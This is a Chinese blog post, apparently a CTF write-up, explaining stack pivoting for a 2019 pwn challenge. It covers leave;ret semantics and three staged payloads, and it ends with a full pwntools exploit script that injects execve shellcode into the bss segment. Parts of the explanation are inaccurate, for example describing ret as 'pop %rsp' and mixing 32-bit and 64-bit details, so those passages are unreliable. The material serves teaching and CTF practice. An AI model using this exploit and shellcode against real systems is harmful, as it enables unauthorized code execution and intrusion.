Whitea's Blog.

栈迁移_201907AHpwn

字数统计: 611阅读时长: 2 min
2019/11/18 Share

看一下c的代码:

1
2
3
4
5
6
7
8
9
10
11
//gcc pwn3.c -m32 -fno-stack-protector -o pwn3
#include <unistd.h>
void fun(){
char buffer[0x20];
read(0,buffer,0x30);
write(1,buffer,0x30);
}int main(){
fun();
return 0;

}

这次主要是溢出的空间大幅度变小,这里运用到栈迁移的知识。

#AH2019-07-pwn例子:

自己还是菜,多多接触例子为妙,在大佬的指导下勉强认识了一波堆栈迁移的知识。
检查保护
发现所有保护并没有开。

来看看main函数:

看起来简单的栈溢出,其实溢出的空间十分有限,可供执行的参数只有0x20-(0x8+0x8),那可以用堆栈迁移。

这里得熟悉leave;ret的内容:

leave:
mov %rbp,%rsp 将%rbp的值赋给%rsp,使%rbp和%rsp指向一个位置
pop %rbp 将栈中保存的父栈帧的 %rbp 的值赋值给 %rbp,并且 %rsp 上移一个位置指向父栈帧的结尾处。
ret:
pop %rsp 从当前 %rsp 指向的位置(即栈顶)弹出数据,并跳转到此数据代表的地址处。

栈迁移:

在程序leave;ret的时候修改ebp/rsp寄存器的值,将shellcode放到bss段上

payload = 'A'*0x8 + p64(bss_start的地址-0x8) + p64(函数内read的起始地址) + p64(无效地址)

为了防止sendline尾部的0xA对rop链造成影响,故用send的方式,在send的方式下,程序会等待新的数据读入,如果没有最后的无效地址,在send第二个payload的时候,payload的前8个字节就会被吞

第一个payload打上

leave:

move %rbp,%rsp

pop %rbp
mark

pop %rsp
mark

可以看看gdb的调试情况:

之后往bss-0x8的地方写入数据
遇到mov %rbp,%rsp

pop %rbp

pop %rsp

所以可以将payload改成:

pay1 = ‘a’*8 + p64(bss_addr - 0x8) + p64(read_add) + p64(0xdeadbeef)
pay2 = ‘a’ *8 + p64(bss_addr + 0x8) + p64(read_add) + p64(0xdeadbeef)
pay3 = p64(bss_addr + 0x8) + shellcode

说一下payload2,此时数据情况:

遇到leave中的mov %rbp,%rsp

pop %rbp

ret:pop %rsp

payload3打上去情况:

leave:
move %rbp,%rsp:

pop %rbp:

pop %rsp:

RIP指向[BSS+0x8]地址,成功执行shellcode

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
#context.log_level = "debug"
p = process("./unexploit")
#p = remote('127.0.0.1',10011)
elf = ELF('./unexploit')
shellcode = '\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
read_add = 0x000000000040068A
bss_addr = elf.bss()
pad=8

pay1 = 'a'*8 + p64(bss_addr - 0x8) + p64(read_add) + p64(0xdeadbeef)
pay2 = 'a' *8 + p64(bss_addr + 0x8) + p64(read_add) + p64(0xdeadbeef)
pay3 = p64(bss_addr + 0x8) + shellcode

gdb.attach(p)

p.send(pay1)
p.send(pay2)
p.send(pay3)

p.interactive()
CATALOG
  1. 1. leave: